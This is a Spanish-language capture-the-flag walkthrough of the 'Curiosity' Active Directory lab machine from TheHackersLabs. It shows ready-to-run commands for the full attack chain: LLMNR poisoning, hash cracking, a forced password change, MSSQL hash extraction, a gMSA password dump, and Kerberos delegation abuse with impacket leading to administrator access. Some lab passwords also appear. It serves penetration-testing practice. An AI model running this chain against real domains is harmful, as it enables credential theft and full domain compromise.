Introducción
La máquina «Curiosity», ofrecida por la plataforma TheHackersLabs, presenta un entorno simulado de Active Directory especialmente diseñado para poner a prueba diversas técnicas de pentesting y explotación. Este desafío involucra un análisis exhaustivo del dominio, comenzando con enumeraciones iniciales como DNS, RPC y SMB para identificar posibles vectores de ataque.
En la primera fase, utilizamos ataques de envenenamiento LLMNR para interceptar y capturar hashes NTLMv2, los cuales podemos posteriormente crackear para obtener credenciales iniciales y acceso al sistema. A partir de allí, realizamos un reconocimiento avanzado utilizando herramientas como BloodHound, revelando vulnerabilidades críticas que nos permiten abusar de permisos específicos, incluyendo «Force Change Password», lo que facilita el pivote hacia nuevas cuentas dentro del dominio.
Mediante la explotación de fugas de información (Information Leakage) y técnicas como AS-REP Roasting, identificamos y obtenemos nuevos hashes almacenados en bases de datos MSSQL accesibles, permitiendo el acceso a usuarios adicionales tras romper estas contraseñas mediante cracking. Posteriormente, aprovechamos permisos específicos como «ReadGMSAPassword» para extraer hashes de cuentas administradas grupalmente (GMSA).
Finalmente, abusando del permiso «AllowToAct» y mediante técnicas avanzadas como Pass The Ticket (PTT), somos capaces de impersonar al usuario Administrador, obteniendo así control completo sobre el sistema comprometido. La máquina «Curiosity» cubre un amplio rango de técnicas esenciales en entornos Active Directory, destacándose por su enfoque práctico en ataques escalonados, pivoting y explotación avanzada de privilegios dentro de un dominio corporativo.
Enumeración
Enumeración de puertos
Comenzamos la resolución de la máquina Curiosity, realizando una enumeración rápida de los servicios disponibles.
┌──(kali㉿kali)-[~]
└─$ nmap -p- -Pn -n --min-rate 2500 192.168.56.8
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-19 17:26 CET
Nmap scan report for 192.168.56.8
Host is up (0.00029s latency).
Not shown: 65511 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49668/tcp open unknown
49685/tcp open unknown
49686/tcp open unknown
49688/tcp open unknown
49691/tcp open unknown
49703/tcp open unknown
49721/tcp open unknown
MAC Address: 08:00:27:78:54:92 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 29.99 seconds
Una vez listados los puertos de la máquina objetivo, continuamos realizando una enumeración profunda de los servicios activos.
┌──(kali㉿kali)-[~]
└─$ nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sVC -Pn -n 192.168.56.8
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-19 17:27 CET
Nmap scan report for 192.168.56.8
Host is up (0.00066s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-19 16:28:03Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after: 2025-10-16T13:11:58
|_ssl-date: 2025-03-19T16:28:50+00:00; -1s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
|_ssl-date: 2025-03-19T16:28:50+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after: 2025-10-16T13:11:58
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
|_ssl-date: 2025-03-19T16:28:50+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after: 2025-10-16T13:11:58
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after: 2025-10-16T13:11:58
|_ssl-date: 2025-03-19T16:28:50+00:00; -1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
MAC Address: 08:00:27:78:54:92 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: DC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:78:54:92 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-time:
| date: 2025-03-19T16:28:42
|_ start_date: 2025-03-19T16:25:36
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.73 seconds
Añadimos el nombre del dominio y del controlador al fichero /etc/host:
┌──(kali㉿kali)-[~]
└─$ echo '192.168.56.8 DC.hackme.thl hackme.thl' | sudo tee -a /etc/hosts
192.168.56.8 DC.hackme.thl hackme.thl
Enumeración de Kerberos
Utilizaremos para ello la herramienta kerbrute
./kerbrute_linux_amd64 userenum --dc 192.168.56.8 -d hackme.thl 'SecLists/Usernames/xato-net-10-million-usernames-dup.txt'

Pero no pudimos encontrar la contraseña con el diccionario rockyou
Envenenamiento de red
Otro ataque que podemos realizar es el envenenamiento de red con el que vamos a tratar de obtener hashes NTLM de usuarios del sistema.
sudo responder -I eth2

Copiamos el hash en un archivo txt y desciframos con john
john --wordlist=/home/kali/Downloads/rockyou.txt hash2

Enumeración SMB
Ahora que hemos obtenido credenciales del objetivo, vamos a tratar de obtener información del obejtivo a través del servicio SMB.
nxc smb 192.168.56.8 -u jdoe -p '...' --shares

enum4linux-ng -A 192.168.56.8 -u 'jdoe' -p '$pr1ng@'

Localizamos unas segundas credenciales para el usuario osama.
Acceso al sistema. Explotación.
En la fase de enumeración hemos localizado unas credenciales para el usuario «jdoe». Vamos a probar para que servicios son válidas estas credenciales.
nxc winrm 192.168.56.8 -u jdoe -p '...'
nxc smb 192.168.56.8 -u jdoe -p '...'

Comprobamos que tenemos conexión a través de WinRM.
evil-winrm -i 192.168.56.8 -u jdoe -p '...'

Obtenemos el acceso a la máquina Curiosity y la flag de usuario con bajos privilegios.
# Pivotando a usuario dba_adm
Una vez hemos obtenido el acceso al sistema, vamos a continuar el camino hacia el control total del objetivo.
Vamos a enumerar el contenido del dominio. Para ello, utilizaremos la herramienta bloodhound-python

Haciendo un poco de enumeración para el usuario jdoe, vemos que pertenece al grupo IT Admins

Comprobamos que los usuarios pertenecientes a este grupo pueden cambiar la contraseña del usuario dba_admn.

Para cambiar la contraseña del usuario dba_adm vamos a utilizar rpcclient, utilziando para ello las credenciales del usuario jdoe y el módulo setuserinfo2.
rpcclient -U hackme.thl/jdoe 192.168.56.8

Ahora vamos a conectarnos como usuario dba_adm con la nueva contraseña aprovechando el servicio de winrm.
Pivotando a usuario sqlsvc
El nombre de este usuario parece indica que es administrador de bases de datos. Vamos a tratar de conectarnos al servidor MSSQL de forma local. Primero comprobaremos en registro si existe dicho servicio:
reg query "HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL"

A continuación, procedemos a conectarnos al servicio
sqlcmd -S DC\SQLEXPRESS -E -Q "SELECT name FROM sys.databases"

Y solicitamos que nos muestre la información de Credentials

Copiamos el hash localizado y vamos a tratar de descifrarlo con john.
Como desconocemos en el diccionario donde se encuentra la password, vamos a utilizar el siguiente comando bash para ello
for dict in /home/kali/Music/herramientas/SecLists/Passwords/Leaked-Databases/*.txt; do john --format=raw-md5 --wordlist="$dict" sqlsvc.hash; done

Localizamos la contraseña del usuario sqlsvc

Pivondo a usuario GMSA_SVC$



Analizando privilegios y grupos, vemos que el usuario sqlsvc pertenece al grupo GMSA_USERS y que este grupo tiene como privilegio que sus miembros pueden leer la contraseña del usuario GMSA_SVC$
Vamos a tratar de volcar esta contraseña, utilizando para ello la herramienta nxc.
nxc ldap 192.168.56.8 -u 'hackme.thl\sqlsvc' -p 'P@ssword1234!' --gmsa

Volviendo a BloodHound

Vemos que el usuario GMSA_SVC$ tiene el privilegio AllowedToAct sobre el domain controller, lo cual nos va a permitir actuar en nombre de otro usuario.
Escalada de privilegios
El primer paso para la escalada de privilegios será obtener el TGT del usuario GMSA_SVC$
impacket-getTGT -dc-ip 192.168.56.8 -hashes ':89a..' 'hackme.thl/GMSA_SVC$'
Exportamos el ticket
export KRB5CCNAME=/home/kali/Desktop/curiosity/GMSA_SVC\$.ccache

A continuación, con la herramienta impacket-getST obtendremos el TGT de administrador.
impacket-getST 'hackme.thl/GMSA_SVC$' -spn www/dc.hackme.thl -k -no-pass -impersonate administrator

Exportamos el ticket de usuario administrator
export KRB5CCNAME=/home/kali/Desktop/curiosity/administrator@www_dc.hackme.thl@HACKME.THL.ccache
Y accedemos al sistema como usuario administrator con privilegios NT SYSTEM
impacket-psexec administrator@dc.hackme.thl -k -no-pass

No responses yet